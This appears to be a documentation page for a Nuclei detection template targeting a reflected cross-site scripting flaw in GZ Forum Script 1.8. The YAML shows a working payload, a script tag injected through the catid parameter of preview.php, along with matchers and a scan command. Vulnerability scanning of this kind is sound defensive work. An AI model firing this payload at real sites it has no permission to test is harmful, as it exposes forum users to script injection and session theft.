GZ Forum Script 1.8 - Cross-Site Scripting
ID: gz-forum-script-xss
Severity: medium
Author: r3Y3r53
Tags: gzforum,xss,unauth
Description
Section titled “Description”Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.
YAML Source
Section titled “YAML Source”id: gz-forum-script-xss
info: name: GZ Forum Script 1.8 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it. reference: - https://www.exploit-db.com/exploits/51559 - https://gzscripts.com/gz-forum-script.html metadata: verified: true max-request: 1 tags: gzforum,xss,unauth
http: - method: GET path: - "{{BaseURL}}/preview.php?controller=Load&action=index&catid=moztj%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Ems3ea&down_up=a"
matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "><script>alert(document.domain)</script>") && contains(body, "New Topic")' - 'contains(content_type, "text/html")' condition: and# digest: 4a0a00473045022100a876de9f878164701c2de59aa0e997a5bc67c25f8490ec14f7a1f6f208e97c9002202f6c04004fe5f37b496b4bd4d263351bade0cb788548a2cb5db15c3d7632e06f:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/gz-forum-script-xss.yaml"